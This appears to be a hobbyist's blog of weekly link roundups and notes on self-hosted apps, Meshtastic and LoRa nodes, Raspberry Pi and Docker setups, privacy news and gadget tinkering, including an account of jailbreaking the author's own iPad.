GitHub: alexanderwanyoike / the0: “Open Source Algorithmic Trading Platform”
GitHub: BookHeaven / BookHeaven.Server: “Official BookHeaven Server web app to manage your ebook library.”
GitHub: jofoerster / habitsync: “Modern Habit Tracker featuring synchronization and challenges with friends”
selfh.st: Optimal Plex Settings for Privacy-Conscious Users
YouTube: Techno Tim Ultimate Plex Dashboard | Monitor All the Things
YouTube: Christian Lempa: Self-hosted automation for EVERYTHING! // n8n Tutorial

w33k in g33k: September 19, 2025

Fri, 19 Sep 2025 17:00:00 -0400

Meshtastic

I spent the weekend trying to change my Nebra Helium Miner to me a Meshtastic node, but ran into a few issues.
- The LoRa radio used in the Helium miner does not work with Meshtastic, so I removed the Bluetooth USB adapter to free a port, then connected my Heltec WiFi LoRa 32(V3), ESP32S3 + SX1262 LoRa Node, Meshtastic and LoRaWAN Compatible board there instead. I reflashed a microSD Card with Raspbian (Ubuntu Server wasn’t booting for me) to use with the included Raspberry Pi Compute Module 3+, which had the hardware on the connected boards working (mainly just cared if the USB ports & Ethernet port worked).
- I spent a few hours between meshtastic & meshtasticd & while I got meshtastic working fine, i could not get meshtasticd to see the Heltec board. I gave up on that for now, & just left use of meshtastic CLI & configured the board with the Meshtastic app.
- So, will see how this plays out moving forward… i was trying to get it setup so that I could be managing the Heltec board right from the CM3+, but in the end i still needed to use the app for the config.

selfh.st: Self-Host Weekly (19 September 2025), by Ethan Sholly

GitHub: operacle / checkcle: “CheckCle is a self-hosted, open-source monitoring platform for seamless, real-time full-stack systems, applications, and infrastructure. It provides real-time uptime monitoring, distributed checks, incident tracking, and alerts. All deployable anywhere.”
GitHub: razchiriac / tunnel-chat: “Ephemeral peer-to-peer tunnel chat from the terminal”
GitHub: polius / VAULT: “Securely encrypt and decrypt your files directly in your browser.”
GitHub: DialmasterOrg / Youtarr: “An application to automate downloading of Youtube videos for Plex”
GitHub: carbonatedWaterOrg / yt-dlp-co2: “It’s a modern web interface for yt-dlp with real-time progress tracking and multiple pretty cool themes.”
GitHub: nikunjsingh93 / react-glass-keep: “Glass Keep is Keep Notes alternative using Glass design. Made in React + Tailwind”
GitHub: jeffcaldwellca / mkcertWe: “Web based user interface for mkcert CLI internal CA”
GitHub: omarmir / nanote: “Lightweight, self-hosted note-taking application with filesystem-based storage so you maintain 100% portability of your notes.”
GitHub: Ipmake / NevuForPlex: “Nevu is a complete redesign of Plex’s UI using the plex media server API.”
GitHub: spacebarchat/ spacebarchat: “📬 Spacebar is a free open source selfhostable discord compatible communication platform”

w33k in g33k: September 12, 2025

Fri, 12 Sep 2025 17:00:00 -0400

IT Security

Signal: Introducing Signal Secure Backups: I probably would have found this more useful when i still used Android & it was still possible to use Signal for all SMS, but still nice that it will be an option.

Hacking \ Pentration Testing

I picked up The Phantom from Rabbit Labs while at DEFCON & after seeing there was an upgrade to the Ghost ESP firmware, I saw that there were a few other options to flash as well. I was specifically looking to compare Ghost ESP & Bruce firmware:
- Mobile Hacker: Exploring Marauder, Bruce, and Ghost ESP on Cheap Yellow Display
- /r/FlipperZero: Is Ghost esp the new and better wifi deauth app to use?
- Rabbit Labs has a web app you can use to flash different versions: Flasher.site

w33k in g33k: September 05, 2025

Fri, 05 Sep 2025 17:00:00 -0400

Linux

Found my Cosmo Communicator & Gemini, so I was looking into seeing how i could repurpose \ use them…
- UBports Forum: Cosmo Communicator
- Open Embedded Software Foundation (OESF) Forum: Ubports for Cosmo
- Ubuntu Touch: Cosmo Communicator: “The Planet Computers Cosmo Communicator is not supported by the current Ubuntu Touch release.”
  - So maybe i won’t be installing Ubuntu Touch…
- Planet Computers Support: Linux for Cosmo
- At least able to install the last(?) available Android version for the Cosmo Communicator: GitHub: shymega / cosmo-v25-android-fw-ota
- Open Embedded Software Foundation (OESF) Forum: Full installation guide KDE Plasma on Cosmo Communicator
- Kali: Kali Linux for the Gemini PDA
While looking into UBports for my Gemini or Cosmo Communicator, I saw that UBports is supported for the rabbit r1 & thought i might give that a try. I have Android running on mine, but UBports might be a bit more useful \ usable. At the very least it will just be fun to test out.

Meshtastic \ LoRa

GitHub: meshtastic / device-ui: Map Tile Starter-Kit: “This folder contains a basic set of map tiles in different styles for Meshtastic UI enabled devices with SD card support. Each zip file includes zoom levels 1 - 6 of Earth’s surface, so whereever you are you’ll be able to zoom out and see in what country’s location you’ve been beamed to.”
- Now that I actually looked into how to get the maps working on my LILYGO T-Deck Plus, I started to get what I needed for my device. I have a 128GB SD card, so plenty of room for maps \ etc on there.
- I used map-tile-downloader to pull down some tiles, but I may have done something wrong because it’s not actually being displayed on my device. I’m seeing if the tiles I downloaded from the below Reddit post will work any better. -/r/Meshtastic: Meshtastic 2.6 Map Tiles with higher zoom levels

selfh.st: Self-Host Weekly (5 September 2025), by Ethan Sholly

GitHub: LukeGus \ Termix
GitHub: dannybouwers \ trala
GitHub: StegoBrg \ Ambys
GitHub: bijomaru78 \ eccm
GitHub: adembc \ lazyssh
GitHub: bartvantuijn \ noton
GitHub: arsfeld \ reel
GitHub: Secrover \ Secrover
GitHub: lminlone \ repliqate

w33k in g33k: August 29, 2025

Fri, 29 Aug 2025 17:00:00 -0400

Hardware

Framework: Currently just using a Pi for general usage, but have my gaming PC for more intense work. But after seeing a few people at DEFCON with Framework laptops, i wanted to look at this again. Especially now that they have a graphics module with the Framework 16 laptop.

Linux (Android, Ubuntu)

I came across my Planet Gemini device while cleaning, & figured I’d see if there’s anything I can do to revive it.
- Planet Computers: Linux Flashing Guide
- There are also details for Has details for Android, Debian, Kali, & SailfishOS.
- postmarketOS: Planet Computers Gemini PDA (planet-geminipda
- I think I saw Ubuntu Touch mentioned as compatible too.

selfh.st: Self-Host Weekly (29 August 2025)

Projects from selfh.st that i want to look into.

GitHub: KSJaay / Lunalytics: “🚀 Open source monitoring tool built with Node.js”
GitHub: BookHeaven / BookHeaven.Server: “Official BookHeaven Server web app to manage your ebook library.”
GitHub: HarborGuard / HarborGuard: “Modern container security scanning platform with multi-tool integration.”
GitHub: Adewagold / nginx-server-manager: “A modern, web-based nginx management platform for effortless site deployment, SSL certificate management, and file operations”
GitHub: sbcrumb / remediarr: “Jellyseerr Auto delete on issue report”
GitHub: lminlone / repliqate: “A modular Docker container backup solution”
GitHub: LoganRickert / warpdeck.app: “A modern, responsive React-based dashboard application for organizing and managing web links with a beautiful, customizable interface.”
GitHub: fccview / cronmaster: “Cron management made easy”
GitHub: SubleXBle / Fail2Ban-Report: “Web-based dashboard for Fail2Ban log filtering and blocklist control”
selfh.st: Command Line Corner

w33k in g33k: August 22, 2025

Fri, 22 Aug 2025 17:00:00 -0400

ClockworkPi Devices

I had purchased a CM5 to put into either my DevTerm or uConsole, but didn’t realize the ClockworkPi core doesn’t let me just swap it out. I need to get the RPI CM4 Adapter for DevTerm & CPI v3.14, which should take the CM5 as well.. guess i’ll find that part out too.
The above made me remember to actually pick my PicoCalc back up to play with.
- I want to revisit JBlanked’s Picoware OS, since I had just a few issues with it earlier, but now see there’s a v.1.3.0 that was released a few days ago. Hopefully this will fix the issues I was having.
- ClockworkPi Forum: Picoware (Open-Source Custom Firmware)

Containers (Podman, Docker, etc)

A friend was trying to get BookStack working with Podman but was running into some issues. It made me want to re-look at Podman, just to see if I would move from Docker.
- Since I used this week to turn back on some of my Raspberry Pi’s, I can easily get Podman on one of them to test with.

Meshtastic \ LoRa

After reading about some HackerPager users swapping the battery for a larger one, I figured I’d try to do the same. Tomorrow i should have a 3000mAh battery I can use to replace the included 1100mAh. I think I’ve been getting a little less than a day on a charge (maybe less), so this should hopefully help with that =]
Since i was already purchasing the battery, I saw the MakerFocus ESP32 LoRa V3 Development Board available for pretty cheap, & decided to add that to the order so I can at least have 2 LoRa nodes, to play around a bit. Haven’t had luck finding other nodes in my area yet… I’m hoping that will change.

Photography

Kickstarter: YASHICA FX-D: Your First Digital Film Simulation Camera: My dad was VERY into photography, especially film, so when I saw this project I wanted to back it for that reason. I’ve also been trying to get into a bit of photography myself.
- I don’t recall if I ordered the 100 or 300 version, but guess i will find out soon, once shipping starts for the camera.

Raspberry Pi

I’m starting to put some of my Pi’s back online that i never set back up after the move. That had me trying to get my Arducam 16MP working with my RasPi4 & I’m not sure if I needed to be using Raspbian over Ubuntu, but I was finally able to get it working.
- Arducam: Quick Start Guide: Use rpicam to access Arducam Pivariety Camera
I didn’t realize i didn’t have a RasPi5 adapter with the increased voltage, so i found out the hard way that it won’t boot off USB devices unless the config.txt is modified.
- Instead of running off MicroSD cards, I prefer to use a USB external SSD for my Pi’s, so I don’t have to worry about the cards burning out.
- Once I did get the proper adapter, modified the config.txt to try & get my camera working here, it takes AGES to start back up… i was about to wipe the device & start from scratch before testing one more time & the system was back up.
- With both of these Pi’s + cameras working again, I got Syncthing setup on both & created a new function \ alias there, to make taking photos easier \ quicker. When I run rpicam-photo it will take the photo & drop it into a specific Syncthing folder, so that all my devices get the photos, no need to manually transfer off the Pi’s.

selfh.st: Self-Host Weekly (22 August 2025)

Projects from selfh.st that i want to look into.

GitHub: rommapp / romm: “A beautiful, powerful, self-hosted rom manager and player.”
- I keep putting this on my list to look at & never get back to it…
GitHub: streamyfin / streamyfin: “A Jellyfin client built with Expo”
- I’m trying to use my Jellyfin setup more than my Plex, so I’ve been trying out different apps i come across.
GitHub: LukeGus / Termix: “Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities.”
- Maybe something to help centralize management of my devices across the network.
GitHub: cogwheel0 / conduit: “Native mobile client for Open‑WebUI. Chat with your self‑hosted AI.”
- I’m pretty sure I have Open-WebUI running somewhere… dedicated app would be nice to play with.
GitHub: fccview / cronmaster: “Cron management made easy”
- As I’m setting up additional backup jobs for files on my network, using cron more & more, so this jumped out at me.
GitHub: App Store Preview: Notify: Website Monitoring: “Monitor Website Changes - Directly From Your iPhone”
- I’m thinking about using this even for my internal pages, just to see if it would notify me if something went down.
Parachute Backup Mobile: “Set-and-forget iCloud backup companion for iOS”
- I definitely want to look at this if it’s an easy iCloud replacement.
- /r/selfhosted: Parachute Backup for Mobile is here, allows you to backup your entire iCloud Drive & iCloud Photo library to your own storage, NAS, network drives, external drives, etc. I’m here to answer any questions you may have!
GitHub: Loriage / Review: “Review - Plex Dashboard for iOS”
- As much as i want to start using Jellyfin more, I’ll still probably have Plex around for a bit.
GitHub: hritwikjohri / Void-for-jellyfin: “Void is an experimental native Android client for Jellyfin, built entirely with Kotlin and Jetpack Compose. Its goal is to offer a modern, minimal interface for browsing, streaming, and downloading media from a self-hosted Jellyfin server.”
- Jellyfin app to try out.
GitHub: flohoss / gocron: “A go based task scheduler with GUI”
- Interesting project i might add to my list of things to try.

w33k in g33k: August 15, 2025

Fri, 15 Aug 2025 17:00:00 -0400

IT Security

GitHub: paulveillard / cybersecurity-incident-response: “A collection of awesome tools, software, libraries, learning tutorials & videos, frameworks, best practices and technical resources about Incident Response & Management in Cybersecurity”
Akash Rajpurohit: Fail2ban — Protecting Your Homelab from Brute Force Attacks: I use a WireGuard VPN connection to get into my home network when remote, so I don’t have to expose my self-hosted services to the world, but i was interested in reading into Fail2ban a bit more. I’ve known about it, just didn’t have a need for it.

LoRa \ Meshtastic

Since getting the Hacker Pager at DEFCON 33 this year, I’ve been digging more into LoRa & the Meshtastic project to have something new to play around with. Unfortunately (so far) there doesn’t seem to be many other nodes on Long Island, NY, but we’ll see if that changes.
Hacker Gadgets: uConsole RTL-SDR/LoRa/GPS/RTC/USB Hub All-In-One Extension Board: If I want to turn my ClockworkPi uConsole into a device with LoRa, this hardware looks to do the job.
After seeing the details for the uConsole, I started to look for the PicoCalc too.
- ClockworkPi Forum: PicoCalc LoRa Texting Handheld Project ( like the LilyGo T-Deck )

selfh.st

GitHub: booklore-app / booklore: “BookLore is a self-hosted app for managing and reading books & comics (PDF, EPUB, CBZ) with metadata editing, OPDS, reading progress, and multi-user support.”
- I’ve still been meaning to get to looking at this, to possibly replace Calibre \ Calibre-web
GitHub: shellhub-io / shellhub: “💻 Get seamless remote access to any Linux device. Centralized SSH for the edge and cloud computing”
- I usually just SSH into my hosts, or use Shelly - SSH Client when on iOS or iPadOS, but something consistent across platforms would be nice.
GitHub: syncthing / syncthing: v.2.0.0 Release
- Excited to see what v2 will bring.
GitHub: 7ritn / VaulTLS: “Selfhostable web app to make managing mTLS certificates a breeze”
- I wanted to look into this to see about doing device or user certificates in the future.
GitHub: codeloaf / pi-dash: “Pi-Dash is a simple, lightweight dashboard for monitoring multiple Pi-hole instances. It provides a clean, at-a-glance, responsive view of your Pi-hole statistics.”

Miscellaneous

BookStack: “BookStack is a simple, self-hosted, easy-to-use platform for organising and storing information.”
- A friend of mine was looking into setting up BookStack & while i think i have run it in the past, i don’t think i still had any notes saved about it. Figured i could look into it again.

w33k in g33k: August 08, 2025

Fri, 08 Aug 2025 17:00:00 -0400

IT Security

SC Media: WordPress plugin bug prompts Pi-hole breach: At least it doesn’t really sound like the issue was on the Pi-Hole team, more the developers of the GiveWP plugin.

Meshtastic

I have been trying to dig more into Meshtastic \ LoRa things. Someone reminded me about the Nebra Helium miners, & I wanted to see if anything can be done with that one at Mom’s house:
- /r/Meshtastic: Outdoor Nebra Helium Miners
  - Meshtastic: A Major Solution to a Miner Problem

w33k in g33k: August 01, 2025

Fri, 01 Aug 2025 17:00:00 -0400

Android

It’s FOSS: 5 Open Source Apps You Can use for Seamless File Transfer Between Linux and Android

Docker

Dolce Documentation: Configuration
GitHub: TheInfamousToTo /PiHoleVault: “PiHoleVault provides a comprehensive, secure, and visually appealing solution to manage Pi‑hole backups. It combines automation, security, community analytics, and modern UI to offer a seamless experience. Whether you’re a casual user or managing multiple Pi‑holes, this tool simplifies setup and ongoing maintenance.”

Hardware

Hack-a-Day: Hands On: The Hacker Pager
- This is just another piece of hardware that i really don’t need, but am curious about it & may see how many are on-hand at DEF CON next week.

IT Security:

Help Net Security: Vulnhuntr: Open-source tool to identify remotely exploitable vulnerabilities
- GitHub: protectai / vulnhuntr: “Zero shot vulnerability discovery using LLMs”
Nex’s Blog: How I hacked my washing machine
Kali: Kali Linux & Containerization (Apple’s Container)
OMG Ubuntu: Ubuntu 25.10 Offers Improved Disk Encryption Using TPM: Nice to see that Ubuntu will be supporting disk encryption using the TPM.
While commonly coming across phishing PDF’s, I wanted to see what tools were available for looking into them. I did cheat & use GPT to get a starting point & this is what it gave me:
- pdfid, pdf-parser: Didier Stevens: PDF Tools
- peepdf: GitHub: jesparza / peepdf: “Powerful Python tool to analyze PDF documents”
  - Eternal ToDo: peepdf - PDF Analysis Tool
- qpdf: GitHub: qpdf / qpdf
- exiftool: ExifTool by Phil Harvey
- strings
- pdftotext: GitHub: jalan / pdftotext: “Simple PDF text extraction”
GitHub: bepass-org / oblivion-desktop: “Oblivion Desktop - Unofficial Warp Client for Windows/Mac/Linux”
- Just wanted to note this because i saw it mentioned as a censorship restriction workaround in Iran.

Miscellaneous

Engadget: Jack Dorsey’s Bluetooth messaging app is now on the App Store
- Apple App Store: bitchat mesh
Ethan Sholly @ selfh.st: Self-Host Weekly (1 August 2025)
- GitHub: gameyfin / gameyfin: “Manage your video games.”
  - I’ve come across game management platforms before, but always passed them up. Now that I’m seeing ones over & over & stopping to think about it, maybe it is worth looking into some of these & see how they run.
- xn–gckvb8fzb.com/giving-up-on-element-and-matrixorg/
- Building the Open Home: You don’t own it if they can break it
  - Ring getting mentioned again. It was nice to see they were moving away from just being a surveillance system, but i guess the original founder doesn’t feel the same way: “These cameras store your recordings in the cloud, on servers that Ring controls. Ring just pulls up all this user data onto its services, and once there, it treats this data like its own, giving it to whoever it wants. "
  - Belkin: I can’t remember if i did have any Wemo home devices, but seeing that they’re all going to be useless early next year anyway, it just makes me want to really sit down & build out HomeAssistant or any other project that at least gives some local control of devices.
- GitHub: booklore-app / BookLore: “BookLore is a self-hosted app for managing and reading books & comics (PDF, EPUB, CBZ) with metadata editing, OPDS, reading progress, and multi-user support.”
  - I’m pretty sure I set this up, but didn’t get too far with it. It is time i revisted it.
- GitHub: crocodilestick / Calibre-Web-Automated: “Calibre-Web but automated and with Calibre features! Fully automate and simplify your eBook set up!”
  - Another service I’m running locally that i should either properly configure or just retire.
- GitHub: immich-app / immich:High performance self-hosted photo and video management solution.”
  - selfh.st mentioned a new docker-compose.yml file for Immich, so I’ll have to compare that to my existing one & see if any changes are needed.
- GitHub: jelliott2021 / DockerWakeUp: “An intelligent Docker container management system that automatically starts containers on-demand when accessed, stops idle containers to save resources, and generates NGINX configurations for seamless reverse proxy setup”
  - This actually doesn’t seem to be what i thought it was when i started digging into it. I thought it was a way to manually start & stop containers, which would be useful now that I got Dolce working, so i can more easily restart containers that have stopped.
- GitHub: remvze / haus: “🏡 A dead-simple online workstation.”
  - The description sounded interesting so i thought i could try this out.
- GitHub: jeffcaldwellca / mkcertWeb: “Web based user interface for mkcert CLI internal CA”
  - I do have a routine down now for using my Step-CA container, but if there is anything to make management a little easier, i’m definitely interested.

w33k in g33k: July 25, 2025

Fri, 25 Jul 2025 17:00:00 -0400

Apple

GitHub: rushhiii / Scriptable-IOSWidgets: “An library of iOS widgets & scripts to supercharge your Apple experience, all built in Scriptable IOS app.”
- I haven’t really done much with Scriptable recently, so maybe this will get me to play around with it again.
Scriptable For Dummies
dersvenhesse / awesome-scriptable: “A curated list of awesome Scriptable scripts and widgets.”
/r/Scriptable: The most common use of Scriptable
Medium: Nowhere Man: Home Assistant Widgets with Scriptable

Docker \ Containers

/r/SelfHosted: What’s wrong with Portainer?]: I do try to keep an eye out for something to use instead of Portainer, but at least for right now that’s what I’m sticking with.

Games

/r/SelfHosted: vangogh quarterly update - self-hosted GOG.com games collection
- GitHub: arelate / vangogh: “🌻 Local and offline GOG.com games library”

IT Security

EFF: Meet Rayhunter: A New Open Source Tool from EFF to Detect Cellular Spying: My Orbic RC400L is being delivered this week, so going to get a chance to work on this & see about bringing it to DEF CON.
- GitHub: EFForg / rayhunter: “Rust tool to detect cell site simulators on an orbic mobile hotspot”
Kali: The Raspberry Pi’s Wi-Fi Glow-Up: I used to have a Pi running Kali, but since I wasn’t using it much I had wiped it. Maybe I’ll get it running again since I should have a spare Pi sitting around somewhere.
GitHub: CervantesSec / cervantes: “Cervantes is an open-source, collaborative platform designed specifically for pentesters and red teams. It serves as a comprehensive management tool, streamlining the organization of projects, clients, vulnerabilities, and reports in a single, centralized location.”
- Not that I do much red-teaming, but seeing new tools & posts make me want to start digging into it more. Would especially love to get my CEH, but not sure how feasible that is.
- This is a reminder that I’ve been meaning to circle back on this: GitHub: WithSecureLabs / Kanvas: “A simple-to-use IR (incident response) case management tool for tracking and documenting investigations.”

Linux

OMG Ubuntu: Argon ONE Up Laptop Runs on a Raspberry Pi CM5: I will definitely be keeping an eye on this. Sounds like it’s not available yet, but they have a notification page up on Kickstarter.

Privacy

DuckDuckGo: The DuckDuckGo Browser: Fresh New Look, Same Great Protections, AI Optional: I’ve had the mobile app installed for a while but have only really been using it for password generation when creating accounts on mobile; for normal day-to-day I’ve still stuck with Firefox, but maybe time to give the DDG browser some more time.

Miscellaneous

/r/SelfHosted: portracker - Ports monitoring & auto discovery dashboard for your homelab
- GitHub: mostafa-wahied / portracker: “A self-hosted, real-time port monitoring and discovery tool.”
/r/SelfHosted: [My HomeServer(-Dashboard) Q3/2025: I had saved this just to see what some others have running, & to see if there’s anything new i might want to run.
/r/SelfHosted: UPDATE! First home Server: Saved for the same reason as above & also just a listing of how \ why things were setup.
/r/SelfHosted: What are your favorite self-hosted, one-time purchase software?: Just curious to see what people might recommend.
/r/SelfHosted: 2 Years Self Hosted (Finally proud!)
/r/SelfHosted: What’s the One Self-Hosted App That Truly Blew You Away?
/r/SelfHosted: Karakeep (0.26) is here! Comprehensive usage stats, reader mode, search history, S3 support, and much more!: I do use Karakeep, so just wanted to see what new features were added in this version.
- GitHub karakeep-app / karakeep: “A self-hostable bookmark-everything app (links, notes and images) with AI-based automatic tagging and full text search”
/r/SelfHosted: Help with Homepage Glances setup: I’ve looked
- GitHub: nicolargo / glances: “Glances an Eye on your system. A top/htop alternative for GNU/Linux, BSD, Mac OS and Windows operating systems.”
  - While looking for a possible Portainer replacement, I’ve also kept an eye out for an overall system management tool, since I have my containers spread across multiple hosts.
Another Glances post: /r/SelfHosted: Finally got into Glance and I’m loving it
/r/SelfHosted: OmniTools just dropped a massive update - Image/PDF editor, GIF maker, audio tools, and more - all self-hosted
- GitHub: iib0011 / omni-tools: “Self-hosted collection of powerful web-based tools for everyday tasks. No ads, no tracking, just fast, accessible utilities right from your browser!”
/r/SelfHosted: My Favorite Self-Hosted Apps Launched in 2025 (So Far) | selfh.st

self.st: Self-Host Weekly (25 July 2025)

PaerrinsLab: GUIDE: Using Trilium Templates to Document Your Homelab: I gave Trilium a shot in the past, but forget why I didn’t stick with it. I bounce between Joplin & Obsidian for different tasks. Maybe I’ll give it a try again just to see how i like it.
The Verge: Ring reintroduces video sharing with police: Because who needs privacy in a police state…
Code Captured: My Ultimate Self-hosting Setup
GitHub: operacle / checkcle: “CheckCle is a self-hosted, open-source monitoring platform for seamless, real-time full-stack systems, applications, and infrastructure. It provides real-time uptime monitoring, distributed checks, incident tracking, and alerts. All deployable anywhere.”
GitHub: RA341 / dockman: “Yet another docker compose manager for homelabs”
GitHub: kuvasz-uptime / kuvasz
Google Play: nzb360 - Sonarr / Radarr / SAB: “nzb360 is a full-featured NZB / torrent manager that focuses on providing the best experience possible for controlling all of your usenet and torrent needs.”
GitHub: xpipe-io / xpipe: “Access your entire server infrastructure from your local desktop”
GitHub: ilkerol / dashymobile
GitHub: coolcat1575 / fleetview: “Visualize container workload distribution between docker (swarm, standalone) nodes”
GitHub: ethanocurtis / MultiNotify: “A lightweight, open‑source Discord bot that monitors a subreddit for new posts (optionally filtered by flair) and automatically send them to Discord, Mattermost, Slack, or other services via webhook, with optional DM notifications.”
GitHub: WhiskeyCoder / Nextt: “A self-hosted, Plex-powered recommendation dashboard with TMDB enrichment and Overseerr integration — finally, a smart, personalized way to find what to watch next.”
GitHub: mostafa-wahied / portracker: “A self-hosted, real-time port monitoring and discovery tool.”
GitHub: Darkatek7 / sonosControl: “This is a Blazor Server App to Control a Sonos Speaker”
GitHub: Phantom8015 / Specters: “A linux web interface”

w33k in g33k: July 18, 2025

Fri, 18 Jul 2025 17:00:00 -0400

Android

GitHub: Archfx / duo-de: “Surface Duo Dual Experience ( 🍰 AOSP | Android 16 | DUO1 | DUO2 )”
- I haven’t touched my Surface Duo in ages, so this looked like a fun way to pick that up again.
GitHub: kaleedtc / Privacium: “A simple app for discovering tools that respects your privacy.”
/r/AndroidApps: F-Droid repos
GitHub: userkilled / FDroid-List-Repository: “List Know Repositories for FDroid (F-Droid)”
F-Droid Forum: Known Repositories
GitHub: Archfx / [duo-de]https://github.com/Archfx/duo-de: “Surface Duo Dual Experience ( 🍰 AOSP | Android 16 | DUO1 | DUO2 )”

Docker

GitHub: log-forge / logforge: “Real-time logs, Interactive terminals, Custom alerts/notifications, File system access. All in one UI, for Docker.”

Financial

GitHub: bscott / subtrackr: “Self-hosted Subscription Tracker”

Games

The Death Generator: Change the text on death screens from older video games.
Windows Central: These 5 free add-ons make Minecraft Bedrock Edition feel brand new: It’s been a while since I’ve played Minecraft, but wanted to see if these would be any fun.
Hackread: FBI seize well-known Nintendo Switch game piracy site
Windows Central: Halo & Half-Life combine in wild new mod, bringing two of my favorite games together in one — here’s how to play, and how it works

IT Security

Hackread: FBI Seizes Major Sites Sharing Unreleased and Pirated Video Games

Privacy

EFF: Flock Safety’s Feature Updates Cannot Make Automated License Plate Readers Safe: Who needs privacy anyway…
Opnxng.com: About: “Opnxng.com hosts public services that are focused on privacy. No personal data is collected. You can read our blog or send us an email.”
- I think I saw someone post this on Lemmy or Mastodon & I wanted to save it to see what services were listed.
GitHub: AI-Escape / open-ice: “OpenICE is an independent data transparency project tracking U.S. Immigration and Customs Enforcement (ICE) detention statistics. The project is developed by AI Escape and is not affiliated with or endorsed by any government agency. All data is sourced from publicly available ICE reports and may not reflect the most current information.”

Miscellaneous

Anton Zhiyanov: Writing a package manager: This sounded interesting so I saved it to go back & read later.
Tophhie Cloud: Host Your Own Bluesky PDS: A Complete Azure-Powered Guide: Again, just wanted to look it over & see what it would take to run my own Bluesky PDS.
Hack A Day: Pulling At Threads With The Flipper Zero: Always interested in doing fun things with my Flipper.
Nano Editor: NANORC: I should have known this config file existed before now, but here i am. So now can have some customization on nano.
Talk Android: Hidden gem: Turn that unused TV outlet into a gigabit Ethernet connection: If I can avoid stringing LAN cables around my house… wanted to look into this.
TrollRestore: Used this on my old iPad Air 2 since the previous attempts with Dopamine & TrollStore didn’t last more than 7 days.
- I think I did it backwards there anyway, so I’m hoping now that I used TrollRestore, then installed Dopamine through there, that it will be permanent.
selfh.st: Self-Host Weekly (18 July 2025)
GitHub: log-forge / logforge: “Real-time logs, Interactive terminals, Custom alerts/notifications, File system access. All in one UI, for Docker.”
GitHub: Coyenn / iso: “A plug-and-play dashboard for all your self-hosted services”
GitHub: CodeJawn / karakeep-homedash: “A more compact home page dashboard style view for browsing your KaraKeep bookmarks.”
GitHub: bodyast / logManager: “Real-time log viewer for remote servers via SSH. Add servers, define log paths, and stream logs in your browser.”
GitHub: AI-Escape / open-ice: “OpenICE is an independent data transparency project tracking U.S. Immigration and Customs Enforcement (ICE) detention statistics. The project is developed by AI Escape and is not affiliated with or endorsed by any government agency. All data is sourced from publicly available ICE reports and may not reflect the most current information.”
GitHub: TheInfamousToTo / PiHoleVault: “HoleSafe provides a comprehensive, secure, and visually appealing solution to manage Pi‑hole backups. It combines automation, security, community analytics, and modern UI to offer a seamless experience. Whether you’re a casual user or managing multiple Pi‑holes, this tool simplifies setup and ongoing maintenance.”
- I was looking to get this installed, but might not be compatible with RasPi? “Failed to deploy a stack: compose up operation failed: no matching manifest for linux/arm64/v8 in the manifest list entries”
GitHub: kaleedtc / Privacium: “A simple app for discovering tools that respects your privacy.”
GitHub: bscott / subtrackr: “Self-hosted Subscription Tracker”
GitHub: Coyenn / iso: “A plug-and-play dashboard for all your self-hosted services”
GitHub: CodeJawn / karakeep-homedash: “A more compact home page dashboard style view for browsing your KaraKeep bookmarks.”
GitHub: bodyast / logManager: “Real-time log viewer for remote servers via SSH. Add servers, define log paths, and stream logs in your browser.”
GitHub: TheInfamousToTo / PiHoleVault: “HoleSafe provides a comprehensive, secure, and visually appealing solution to manage Pi‑hole backups. It combines automation, security, community analytics, and modern UI to offer a seamless experience. Whether you’re a casual user or managing multiple Pi‑holes, this tool simplifies setup and ongoing maintenance.”

w33k in g33k: July 11, 2025

Fri, 11 Jul 2025 17:00:00 -0400

Gaming:

WCCF Tech: ShadPS4 PlayStation 4 Emulator Version 0.10.0 Is Now Available, Introducing Major New Feature For More Accurate Emulation of Bloodborne and Other Games
- I keep forgetting to actually give this emulator a try, but it’s been on my list for a bit.
- ShadPS4
WCCF Tech" Nintendo’s Ability To Brick Nintendo Switch 2 Consoles Is Being Challenged In Brazil
- Hopefully the same thing will be happening in the US too…

Privacy

GitHub: Local Mess: Disclosure: Covert Web-to-App Tracking via Localhost on Android: “We disclose a novel tracking method by Meta and Yandex potentially affecting billions of Android users. We found that native Android apps—including Facebook, Instagram, and several Yandex apps including Maps and Browser—silently listen on fixed local ports for tracking purposes.”

Miscellaneous

GitHub: LoggiFly
- I’ve been trying to find a way to get notifications if some of my Docker containers fail, so this was interesting to me.
- Right now, I’ve been trying to keep an eye on things through Dozzle, but I don’t currently have any alerts or notifications if a container stops.
iOS CFW Guide: Installing Dopamine
- I found an old iPad Air 2 of mine where the highest OS it can be upgraded to is 15.8.3. So to get some use out of it (pretty much plan to use it as a panel for the house or photo frame), i figured i would jailbreak it as well.
- I had to jump through a few hoops, but I think I’m in a good state now… TrollInstallerX isn’t compatible with the iPad Air 2 @ 15.8.3, so while I was able to use Sideloady to get it on there, all I saw was an “Unsupported” button instead of “Jailbreak”. So i used Sideloady to just directly load Dopamine, jailbreak through there & install Sileo & Zebra, installed TrollHelper to get TrollStore, then installed Dopamine from there… as I type this out I am fully expecting problems because of how many hoops I jumped through on this, but I guess we’ll find out in 7 days. As long as I can load my custom root certificate & visit internal sites, that’s all i really care about anyway.
Help Net Security: Bitwarden MCP server equips AI systems with controlled access to credential workflows
selfh.st: Self-Host Weekly (11 July 2025)
- Nerds.xyz: Bitwarden launches MCP server to securely connect AI agents with your passwords
- Belkin Official Support: Wemo Support Ending – What You Need to Know
- Tech Crunch" Jack Dorsey working on Bluetooth messaging app, Bitchat
- GitHub: rtuszik / starwarden: “Export GitHub Stars to LinkWarden”
- GitHub: bitwarden / mcp-server: “MCP server for interaction with the Bitwarden vault.”
- GitHub: taslabs-net / dasharr: “Consolidates your Plex, Radarr, Sonarr, Tautulli, SABnzbd, and Prowlarr and other services into one beautiful, customizable dashboard.”
- GitHub: cogwheel0 / luci-mobile: “Remotely manage your OpenWrt router. Monitor clients, interfaces, and status.”
- GitHub: mihail-pop / media-journal: “A web app to keep track of your movies, tv shows, games, books, manga and anime.”
- GitHub: caddymanager / caddymanager: “Easily manage your Caddy2 servers using a modern web-UI, built on the MEVN stack.”
- GitHub: codewec / dashlit: “DashLit is self-hosted startpage for your server.”
- GitHub: kuvasz-uptime / kuvasz: “Kuvasz (pronounce as [ˈkuvɒs]) is an open-source uptime and SSL monitoring service, built in Kotlin”
- GitHub: Bartuzen / qBitController: “Control qBittorrent from any device”
- Nextcloud: (https://nextcloud.com/blog/how-to-use-nextcloud-aio-using-community-containers/)
- Bitwarden: Inside Bitwarden open source releases
- GitHub: SphereNetwork / SphereSSL: “Web-powered SSL certificate manager with DNS integration, auto-renewals, and cert tracking. It’s like if Certbot and ZeroSSL had a baby. Certbot but more friendly, smarter, and with a dashboard.”
